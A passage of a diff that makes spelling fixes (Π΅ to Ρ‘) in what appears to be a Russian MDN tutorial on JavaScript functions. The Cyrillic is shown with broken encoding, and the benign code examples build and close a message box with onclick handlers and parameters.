ΠΎΠ½ Π½Π΅ просто Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π½Π° страницС сам ΠΏΠΎ сСбС, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΡƒΠ΄Π° Π΅Π³ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ.</p>
<pre class="brush: js">var panel = document.createElement('div');
panel.setAttribute('class', 'msgBox');
@@ -101,7 +101,7 @@ panel.appendChild(closeBtn);</pre>
<p>Π’ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈΒ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий {{domxref ("GlobalEventHandlers.onclick")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΊΠ½ΠΎΠΏΠΊΠΈ Π±Ρ‹Π» Π·Π°ΠΏΡƒΡ‰Π΅Π½ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΊΠΎΠ΄ для удалСния всСй ΠΏΠ°Π½Π΅Π»ΠΈ со страницы, Ρ‚.Π΅. для закрытия ΠΎΠΊΠ½Π° сообщСния.</p>
-<p>Π’ΠΊΡ€Π°Ρ‚Ρ†Π΅, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onclick</code> β€” это свойство, доступноС для ΠΊΠ½ΠΎΠΏΠΊΠΈ (ΠΈΠ»ΠΈ, фактичСски, для любого элСмСнта страницы), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ½ΠΎΒ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ ΠΊΠΎΠ΄ слСдуСт Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΊΠ½ΠΎΠΏΠΊΠΈ. Π’Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ ΠΎΠ± этом большС Π² нашСй ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… событиях. ΠœΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onclick</code> Ρ€Π°Π²Π½Ρ‹ΠΌ Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, которая содСрТит ΠΊΠΎΠ΄, запускаСмый ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΊΠ½ΠΎΠΏΠΊΠΈ. Π‘Ρ‚Ρ€ΠΎΠΊΠ° Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{domxref ("Node.removeChild()")}} DOM API, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт Π²Π½ΡƒΡ‚Ρ€ΠΈ HTML β€” Π² Π΄Π°Π½Π½ΠΎΠΌ случаС панСль <code>&lt;div&gt;</code>.</p>
+<p>Π’ΠΊΡ€Π°Ρ‚Ρ†Π΅, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onclick</code> β€” это свойство, доступноС для ΠΊΠ½ΠΎΠΏΠΊΠΈ (ΠΈΠ»ΠΈ, фактичСски, для любого элСмСнта страницы), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ½ΠΎΒ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ ΠΊΠΎΠ΄ слСдуСт Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΊΠ½ΠΎΠΏΠΊΠΈ. Π’Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ ΠΎΠ± этом большС Π² нашСй ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… событиях. ΠœΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onclick</code> Ρ€Π°Π²Π½Ρ‹ΠΌ Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, которая содСрТит ΠΊΠΎΠ΄, запускаСмый ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΊΠ½ΠΎΠΏΠΊΠΈ. Π‘Ρ‚Ρ€ΠΎΠΊΠ° Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{domxref ("Node.removeChild()")}} DOM API, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт Π²Π½ΡƒΡ‚Ρ€ΠΈ HTML β€” Π² Π΄Π°Π½Π½ΠΎΠΌ случаС панСль <code>&lt;div&gt;</code>.</p>
<pre class="brush: js">closeBtn.onclick = function() {
panel.parentNode.removeChild(panel);
@@ -121,9 +121,9 @@ panel.appendChild(closeBtn);</pre>
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, написанноС Π² вашСм элСмСнтС <code>&lt;script&gt;</code>, Π½ΠΎ ΠΎΠ½ΠΎ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ Π² Ρ‚ΠΎΠΌ Π²ΠΈΠ΄Π΅, Π² ΠΊΠ°ΠΊΠΎΠΌ ΠΎΠ½ΠΎ Π΅ΡΡ‚ΡŒ.</p>
<ol>
- <li>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку ΠΏΠΎΠ΄ своСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π΅Π΅:
+ <li>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку ΠΏΠΎΠ΄ своСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π΅Ρ‘:
<pre class="brush: js">displayMessage();</pre>
- Π­Ρ‚Π° строка Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ запуская Π΅Π΅. Когда Π²Ρ‹ сохранитС ΠΊΠΎΠ΄ ΠΈ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΒ Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΎΠ΅ ΠΎΠΊΠ½ΠΎ сообщСния появляСтся сразу ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·.</li>
+ Π­Ρ‚Π° строка Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ запуская Π΅Ρ‘. Когда Π²Ρ‹ сохранитС ΠΊΠΎΠ΄ ΠΈ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΒ Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΎΠ΅ ΠΎΠΊΠ½ΠΎ сообщСния появляСтся сразу ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·.</li>
<li>
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ откройтС инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π½Π° страницС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² консоль JavaScript ΠΈ снова Π²Π²Π΅Π΄ΠΈΡ‚Π΅ эту строку. Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ окно появится снова! Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ функция ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎΠ³ΠΎ использования, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π² любоС врСмя.</p>
@@ -132,7 +132,7 @@ panel.appendChild(closeBtn);</pre>
<p>Π’ этой дСмонстрации ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ ΠΎΠΊΠ½ΠΎ сообщСния, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ.</p>
</li>
<li>Π£Π΄Π°Π»ΠΈΡ‚Π΅ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΡƒΡŽ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΡƒΡŽ строку.</li>
- <li>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ Π²Ρ‹Π±Π΅Ρ€Π΅ΠΌ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΈ сохраним ссылку Π½Π° Π½Π΅Π΅ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π² свой ΠΊΠΎΠ΄, Π½Π°Π΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ:
+ <li>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ Π²Ρ‹Π±Π΅Ρ€Π΅ΠΌ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΈ сохраним ссылку Π½Π° Π½Π΅Ρ‘ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π² свой ΠΊΠΎΠ΄, Π½Π°Π΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ:
<pre class="brush: js">var btn = document.querySelector('button');</pre>
</li>
<li>НаконСц, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π½ΠΈΠΆΠ΅ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ:
@@ -151,7 +151,7 @@ panel.appendChild(closeBtn);</pre>
<h2 id="Π£Π»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ_с_ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ">Π£Π»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ</h2>
-<p>Π’ Π½Ρ‹Π½Π΅ΡˆΠ½Π΅ΠΌ видС функция ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Π°Β β€”Β ΠΌΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ сообщСниС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·. Π”Π°Π²Π°ΠΉΡ‚Π΅ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΠΌ Π½Π°ΡˆΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π΄ΠΎΠ±Π°Π²ΠΈΠ² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ Π½Π°ΠΌ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΅Π΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°ΠΌΠΈ.</p>
+<p>Π’ Π½Ρ‹Π½Π΅ΡˆΠ½Π΅ΠΌ видС функция ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Π°Β β€”Β ΠΌΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ сообщСниС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·. Π”Π°Π²Π°ΠΉΡ‚Π΅ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΠΌ Π½Π°ΡˆΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π΄ΠΎΠ±Π°Π²ΠΈΠ² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ Π½Π°ΠΌ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΅Ρ‘ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°ΠΌΠΈ.</p>
<ol>
<li>
@@ -170,7 +170,7 @@ panel.appendChild(closeBtn);</pre>
<pre class="brush: js">msg.textContent = msgText;</pre>
</li>
- <li>И послСднСС, Π½ΠΎ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Π²Π°ΠΆΠ½ΠΎΠ΅: Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π²Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π² Π½Π΅Π³ΠΎΒ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½Ρ‹ΠΉ тСкст сообщСния. Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку:
+ <li>И послСднСС, Π½ΠΎ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Π²Π°ΠΆΠ½ΠΎΠ΅: Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π²Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π² Π½Π΅Π³ΠΎΒ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½Ρ‹ΠΉ тСкст сообщСния. Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку:
<pre class="brush: js">btn.onclick = displayMessage;</pre>
<p>ΠΊ этому Π±Π»ΠΎΠΊΡƒ:</p>
@@ -178,8 +178,8 @@ panel.appendChild(closeBtn);</pre>
<pre class="brush: js">btn.onclick = function() {
displayMessage('Woo, this is a different message!');
};</pre>
- Если ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π² ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобках для Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΉ Π½Π°ΠΌΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°Π·Π²Π°Ρ‚ΡŒ Π΅Π΅ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π΅ Π² Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½Π° Π½Π΅ Π½Π°Ρ…ΠΎΠ΄ΠΈΠ»Π°ΡΡŒ нСпосрСдствСнно Π² области видимости ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π½Π΅ Π²Ρ‹Π·Ρ‹Π²Π°Π»Π°ΡΡŒ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ.Β Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠ½Π° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π΄ΠΎ наТатия ΠΊΠ½ΠΎΠΏΠΊΠΈ.</li>
- <li>ΠŸΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΈ протСстируйтС ΠΊΠΎΠ΄ Π΅Ρ‰Π΅ Ρ€Π°Π·, ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ сообщСниС Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ сообщСния Π² ΠΎΠΊΠ½Π΅.</li>
+ Если ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π² ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобках для Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΉ Π½Π°ΠΌΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°Π·Π²Π°Ρ‚ΡŒ Π΅Ρ‘ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Ρ‘ Π² Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½Π° Π½Π΅ Π½Π°Ρ…ΠΎΠ΄ΠΈΠ»Π°ΡΡŒ нСпосрСдствСнно Π² области видимости ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π½Π΅ Π²Ρ‹Π·Ρ‹Π²Π°Π»Π°ΡΡŒ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ.Β Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠ½Π° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π΄ΠΎ наТатия ΠΊΠ½ΠΎΠΏΠΊΠΈ.</li>
+ <li>ΠŸΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΈ протСстируйтС ΠΊΠΎΠ΄ Π΅Ρ‰Ρ‘ Ρ€Π°Π·, ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ сообщСниС Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ сообщСния Π² ΠΎΠΊΠ½Π΅.</li>
</ol>
<h3 id="Π‘ΠΎΠ»Π΅Π΅_слоТный_ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€">Π‘ΠΎΠ»Π΅Π΅ слоТный ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€</h3>
@@ -187,7 +187,7 @@ panel.appendChild(closeBtn);</pre>
<p>ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρƒ. Π­Ρ‚ΠΎ ΠΏΠΎΡ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ большС Ρ€Π°Π±ΠΎΡ‚Ρ‹. Установим Сго Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>msgType</code> установлСн, функция ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π»Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π·Π½Π°Ρ‡ΠΎΠΊ ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π°.</p>
<ol>
- <li>Для Π½Π°Ρ‡Π°Π»Π°, Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡ΠΊΠΈ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для этого упраТнСния (<a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/warning.png">warning</a>Β ΠΈ <a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/chat.png">chat</a>Β [Ρ‚ΡƒΡ‚ Ρ‡Π΅Ρ€Π½Ρ‹Π΅Β ΠΈΠΊΠΎΠ½ΠΊΠΈ Π½Π° Ρ‡Π΅Ρ€Π½ΠΎΠΌ Ρ„ΠΎΠ½Π΅... Ρ‚Ρ€ΠΎΠ»Π»ΠΈ 